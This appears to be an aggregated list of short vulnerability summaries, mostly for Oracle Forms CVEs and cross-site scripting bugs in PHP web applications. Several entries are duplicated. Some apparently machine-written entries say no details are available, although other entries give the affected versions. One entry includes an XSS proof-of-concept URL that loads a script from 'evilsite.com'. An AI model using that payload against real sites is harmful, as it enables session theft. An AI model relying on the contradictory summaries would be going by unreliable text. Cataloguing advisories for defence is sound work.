CVE-2006-5358

Unspecified vulnerability in Oracle Forms component in Oracle Application Server 9.0.4.3 and 10.1.2.0.2 has unknown impact and remote attack vectors, aka Vuln FORM01...

CVE-2006-5365

Unspecified vulnerability in Oracle Forms in Oracle Application Server 9.0.4.3 and 10.1.2.0.2, and E-Business Suite and Applications 11.5.10CU2, has unknown impact and remote attack vectors, aka Vuln FORM02...

CVE-2006-5365

Unspecified vulnerability in Oracle Forms in Oracle Application Server 9.0.4.3 and 10.1.2.0.2, and E-Business Suite and Applications 11.5.10CU2, has unknown impact and remote attack vectors, aka Vuln FORM02...

CVE-2006-5358

Unspecified vulnerability in Oracle Forms component in Oracle Application Server 9.0.4.3 and 10.1.2.0.2 has unknown impact and remote attack vectors, aka Vuln FORM01...

CVE-2006-5360

Technical details for CVE-2006-5360 are not publicly available in the provided documents. Monitor for updates; no further specifics (impact, vectors, or remediation) can be stated from these sources.

CVE-2006-5365

Technical details for CVE-2006-5365 are not publicly provided in the supplied documents; no affected product versions, root cause, or remediation are specified. Monitor for updates from official advisories.

CVE-2006-5360

Unspecified vulnerability in Oracle Forms component in Oracle Application Server 9.0.4.2 has unknown impact and remote attack vectors, aka Vuln FORM03...

CVE-2006-5358

Technical details of CVE-2006-5358 are not publicly available in the provided documents. Monitor for updates from Oracle advisories or security bulletins; current sources confirm an unspecified vulnerability in Oracle Forms without specifics.

ASP.NET crossite scripting

Crossite scripting with AutoPostBack forms...

GeoClassifieds Enterprise 2.0.5.x - index.php Multiple Cross-Site Scripting Vulnerabilities

GeoClassifieds Enterprise 2.0.5.x - index.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/19196/info GeoClassifieds Enterprise is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attack...

Low: Red Hat Bug Fix Advisory: conga bug fix update

Updated conga packages that provide critical bug fixes are now available. The Conga package is a web-based administration tool for remote cluster and storage management. This erratum applies the following bug fixes: - The borrowed Zope packages used by Conga have been patched to eliminate a...

CVE-2006-3398

The CVE-2006-3398 entry involves Taskjitsu prior to 2.0.1, where password hashes are embedded in hidden fields of the change password forms. This allows remote attackers to obtain sensitive information from the Category Editor and the User Information editor. The issue is tied to versions before ...

MobeSpace v2.0 - XSS

MobeSpace v2.0 Homepage: http://mobescripts.com/ Effected files: index.php The input forms of: - Profile - Comments - Uploading a file to your locker - Posting in your blog - Creating a caption for your pic - Sending PM's The input boxes of the above do not sanatize user input before generating i...

QontentOneCMS v1.0

QontentOneCMS v1.0 homepage: http://www.qontentone.com/ Effected files: search.php input forms XSS Proof of concept: http://www.example.com/search.php?searchphrase="SCRIPT SRC=http://www.evilsite.com/xss.js/SCRIPT"&search=Search...

Cross site scripting

Cross-site scripting XSS vulnerability in the input forms in prattmic and Master5006 PHPSimpleChoose 0.3 allows remote attackers to inject arbitrary web script or HTML via a javascript URI in the SRC attribute of an IMG element...

CVE-2006-2639

Cross-site scripting XSS vulnerability in the input forms in prattmic and Master5006 PHPSimpleChoose 0.3 allows remote attackers to inject arbitrary web script or HTML via a javascript URI in the SRC attribute of an IMG element...

CVE-2006-2639

Cross-site scripting XSS vulnerability in the input forms in prattmic and Master5006 PHPSimpleChoose 0.3 allows remote attackers to inject arbitrary web script or HTML via a javascript URI in the SRC attribute of an IMG element...

AlstraSoft E-Friends - XSS

AlstraSoft E-Friends - XSS Homepage: http://www.alstrasoft.com/ Description: Alstrasoft E-friends allows you to run a community site like MySpace and Friendster. Effected files or areas of site: index.php The input forms on the following items belowdo not properlly filter out all potential harmfu...

Cross site scripting

Cross-site scripting XSS vulnerability in index.php in Hiox Guestbook 3.1 allows remote attackers to inject arbitrary web script or HTML via the input forms for signing the guestbook...

CVE-2006-2515

Cross-site scripting XSS vulnerability in index.php in Hiox Guestbook 3.1 allows remote attackers to inject arbitrary web script or HTML via the input forms for signing the guestbook...